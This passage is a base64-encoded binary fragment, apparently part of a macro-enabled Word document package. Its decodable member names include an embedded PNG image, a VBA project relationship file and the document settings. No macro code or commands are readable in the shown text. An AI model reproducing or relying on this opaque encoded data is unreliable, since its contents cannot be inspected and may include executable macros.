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
lytXuytXqThhnSt2zSuT3VVXl1VXu1VXqVJ2qkVrpFN2qkVspFV2zV+AsFWwzVWw7npXl3pXqXpX
u3p2zXqVvWyLt3qWvmCBsW2Lt3qT3Xqw7nrK3XrK/3rK7p12l512qZ12u52Tl52TzZSqy4egxJWr
zIigxJ2w3Z2w7p3KzZ3K/53l3Z3l/53l7r+Tl7+Tqb+Tu7+wqa+/2KG10qK10r+wzb/Ku7zL373L
36/A2b/K3b/K7r/K/7//3b///7/l/9+wqd/Ku8rV5cvW5tfg7N///9/l/9//7t/l7tjg7P/Ku//K
zf//3f/lzf/l3eXq8vL1+f//7v/l7uXr8vP1+f///xwEFNUAABfGSURBVHja7Z0Ndxu5dUCpD7rZ
WHXHSTammjBOGoduu1WZNuttpGarMOLKa7N2Nqo0//+nlIPP9wDMkBIlkhLvPcc+JIHBQJh3ZwBw
iOn1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAHaPF1++ufihph0A7uaOhdYAWJ4vhDsYBHALd37+5o/f1Tm0DMDd3MEggDZ+/OLNHy7qZaCt
AO7mDgYBKF787lbuYBBAcOfri7/Vd4LGA9ypV4AmhF1158sV3cEg2Fl30q9FMQhg7e5gEOwQzdei
9+wOBsHOuPNd/WDQwIA7GASgaG4seHB3MAieqDsX9RqhyeHpsFZ1MAgwCIMAtsGg+y3ygiMJGIRC
gEGbMoiuIWAQBgEGYRBg0NM3aO/808ulM++fXL1+dMf13ip9q6Z6aPp1vUW12S2DKpF1nITF3nln
tD1+gxb8gUsYtEoJhSLvWNhcIAzCoCycJg+x6VM0aP+knvS2jp3qxVX+CGxRL666e1R0bfoUe3GH
l1t3AcIgDHpUBn1+hkEYhEEY9DQM2js3QyIRJMPafxLCcP7BJASjGUuFg9h37/xx9QOGTy8PL+t6
5sqbhF3LvYV9u+GZNEGWO7QD50pUzFRylmwqMySV1lWLf7RslULpYfdx2ySzqJ/ZcOKrP2vL59tX
FxZbr7VyJkvTqklTYdAmDfpZPCA+SNIj5I7Z/9pgdO+CB+b1PCUz6B9NysxEsivP5fZ7i/vODFLl
/sJMPcmNXaFNlMZNZYak0olBP8ujsKX0sHtlkMwc6qevD0PrSJ4vtq8rTDVouXIyCwZtl0FX72cm
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
ACEACBRg78AAAAAVAQAAHgAAAHdvcmQvX3JlbHMvdmJhUHJvamVjdC5iaW4ucmVsc2zPPWsDMQwG
4L3Q/2C093TpUEo5X5ZSyFqS7qqtuzM5W8Yy+fj3MXRpSkdJvI+kYXuJqzlx0SDJwqbrwXBy4kOa
LRz2H0+vYLRS8rRKYgtXVtiOjw/DJ69UW0iXkNU0JamFpdb8hqhu4UjaSebUJpOUSLWVZcZM7kgz
43Pfv2D5bcB4Z5qdt1B2fgNmf81t8x87BldEZaqdk4gyTcH9p+JZiv/6pneq1CQqM1cLp59G144D
HAe8e2a8AQAA//8DAFBLAwQUAAYACAAAACEAnGgD9skLAAD1MQAAEQAAAHdvcmQvc2V0dGluZ3Mu
eG1snFvZbivHEX0PkH8QmNdcq/dFsWz0mgV2Elj2B1AkJREmOQRJXfnm63NGFC1f54xhBHoQOTXd
XV19au3il1//tN1cfVwdjuthdzuTX4jZ1Wq3GJbr3ePt7Ifv+4cwuzqe5rvlfDPsVrezT6vj7Ouv
/viHL19ujqvTCa8drzDF7ngz3M6eD7ub4+JptZ0fP2zXi8NwHB5OHxbD9mZ4eFgvVm//Zm8jDrez
p9Npf3N9/Tboi2G/2mG2h+GwnZ+OXwyHx+vzyDosnrer3elaCeGuD6vN/ASGj0/r/fEy2/b/nQ1L
PV0m+fhbm/i43Vzee5Hit9582+7LcFj+POL3sDcO2B+Gxep4hGS3m/N2t/P17jLNcfN75jnL85v1
/WF++PSLSb7Csf1nGLZXLzf71WEBgeLMhZhdj4Tl+rjfzD/l+eLHx8PwvFvePc33qzNp9TB/3py+
n9/fnYY9Rn+cgw8vwnnk4ml+mC9Oq8Pdfr4A42XYnQ7D5vLecvjncCrDdn/Avt5G4Nv89Do3oLc8
